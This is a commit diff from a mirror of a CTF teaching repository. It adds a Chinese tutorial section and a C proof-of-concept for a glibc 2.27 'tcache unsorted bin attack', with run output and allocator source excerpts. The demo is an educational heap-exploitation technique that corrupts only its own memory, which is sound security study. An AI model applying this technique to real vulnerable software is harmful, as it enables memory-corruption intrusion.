mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
update tcache_unsorted_bin_attack
This commit is contained in:
parent
070603e235
commit
39f250031b
@ -214,6 +214,96 @@ gef➤ x/4gx &stack_var-2
|
|||||||
```
|
```
|
||||||
从而泄漏了 unsorted bin 的头部地址。
|
从而泄漏了 unsorted bin 的头部地址。
|
||||||
|
|
||||||
|
那么继续来看 libc-2.27 里怎么处理:
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
unsigned long stack_var = 0;
|
||||||
|
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||||||
|
|
||||||
|
unsigned long *p = malloc(0x80);
|
||||||
|
unsigned long *p1 = malloc(0x10);
|
||||||
|
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||||||
|
|
||||||
|
free(p);
|
||||||
|
fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n");
|
||||||
|
|
||||||
|
p[0] = (unsigned long)(&stack_var);
|
||||||
|
fprintf(stderr, "Overwrite the next ptr with the target address\n");
|
||||||
|
malloc(0x80);
|
||||||
|
malloc(0x80);
|
||||||
|
fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n");
|
||||||
|
|
||||||
|
free(p);
|
||||||
|
fprintf(stderr, "Now free again to put it in unsorted bin\n");
|
||||||
|
p[1] = (unsigned long)(&stack_var - 2);
|
||||||
|
fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);
|
||||||
|
|
||||||
|
malloc(0x80);
|
||||||
|
fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ gcc -g tcache_unsorted_bin_attack.c
|
||||||
|
$ ./a.out
|
||||||
|
The target we want to rewrite on stack: 0x7ffef0884c10 -> 0
|
||||||
|
|
||||||
|
Now, we allocate first small chunk on the heap at: 0x564866907260
|
||||||
|
Freed the first chunk to put it in a tcache bin
|
||||||
|
Overwrite the next ptr with the target address
|
||||||
|
Now we malloc twice to make tcache struct's counts '0xff'
|
||||||
|
|
||||||
|
Now free again to put it in unsorted bin
|
||||||
|
Now write its bk ptr with the target address-0x10: 0x7ffef0884c00
|
||||||
|
|
||||||
|
Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0
|
||||||
|
```
|
||||||
|
我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误:
|
||||||
|
```c
|
||||||
|
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
|
||||||
|
{
|
||||||
|
bck = victim->bk;
|
||||||
|
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|
||||||
|
|| __builtin_expect (chunksize_nomask (victim)
|
||||||
|
> av->system_mem, 0))
|
||||||
|
malloc_printerr ("malloc(): memory corruption");
|
||||||
|
```
|
||||||
|
那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:
|
||||||
|
```c
|
||||||
|
if (tc_idx < mp_.tcache_bins
|
||||||
|
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
|
||||||
|
&& tcache
|
||||||
|
&& tcache->entries[tc_idx] != NULL)
|
||||||
|
{
|
||||||
|
return tcache_get (tc_idx);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。
|
||||||
|
|
||||||
|
于是就得到了上面的利用 tcache poisoning(参考章节4.14),将 counts 修改成了 `0xff`,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:
|
||||||
|
```c
|
||||||
|
#if USE_TCACHE
|
||||||
|
/* Fill cache first, return to user only if cache fills.
|
||||||
|
We may return one of these chunks later. */
|
||||||
|
if (tcache_nb
|
||||||
|
&& tcache->counts[tc_idx] < mp_.tcache_count)
|
||||||
|
{
|
||||||
|
tcache_put (victim, tc_idx);
|
||||||
|
return_cached = 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
#endif
|
||||||
|
check_malloced_chunk (av, victim, nb);
|
||||||
|
void *p = chunk2mem (victim);
|
||||||
|
alloc_perturb (p, bytes);
|
||||||
|
return p;
|
||||||
|
```
|
||||||
|
于是就成功泄露出了 unsorted bin 的头部地址。
|
||||||
|
|
||||||
#### house_of_einherjar
|
#### house_of_einherjar
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -651,7 +651,7 @@ gdb-peda$ x/10gx (void *)p3-0x10
|
|||||||
0x7fffffffdca0: 0x4242424242424242 0x4242424242424242
|
0x7fffffffdca0: 0x4242424242424242 0x4242424242424242
|
||||||
0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000
|
0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000
|
||||||
```
|
```
|
||||||
于是我们得到了一个在栈上的 chunk。exe
|
于是我们得到了一个在栈上的 chunk。
|
||||||
|
|
||||||
有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`):
|
有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`):
|
||||||
```
|
```
|
||||||
@ -665,6 +665,8 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10
|
|||||||
```
|
```
|
||||||
看来这个机制仍然存在很多的问题啊。
|
看来这个机制仍然存在很多的问题啊。
|
||||||
|
|
||||||
|
注:突然这个 `0xff` 在 unsorted bin attack 里有很巧妙的用处,参考章节 3.18。
|
||||||
|
|
||||||
这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。
|
这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。
|
||||||
|
|
||||||
|
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
|
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack tcache_unsorted_bin_attack house_of_einherjar house_of_orange
|
||||||
CFLAGS += -std=c99 -g
|
CFLAGS += -std=c99 -g
|
||||||
|
|
||||||
# CFLAGS += -fsanitize=address
|
# CFLAGS += -fsanitize=address
|
||||||
|
28
src/others/3.1.6_heap_exploit/tcache_unsorted_bin_attack.c
Normal file
28
src/others/3.1.6_heap_exploit/tcache_unsorted_bin_attack.c
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
unsigned long stack_var = 0;
|
||||||
|
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||||||
|
|
||||||
|
unsigned long *p = malloc(0x80);
|
||||||
|
unsigned long *p1 = malloc(0x10);
|
||||||
|
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||||||
|
|
||||||
|
free(p);
|
||||||
|
fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n");
|
||||||
|
|
||||||
|
p[0] = (unsigned long)(&stack_var);
|
||||||
|
fprintf(stderr, "Overwrite the next ptr with the target address\n");
|
||||||
|
malloc(0x80);
|
||||||
|
malloc(0x80);
|
||||||
|
fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n");
|
||||||
|
|
||||||
|
free(p);
|
||||||
|
fprintf(stderr, "Now free again to put it in unsorted bin\n");
|
||||||
|
p[1] = (unsigned long)(&stack_var - 2);
|
||||||
|
fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);
|
||||||
|
|
||||||
|
malloc(0x80);
|
||||||
|
fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user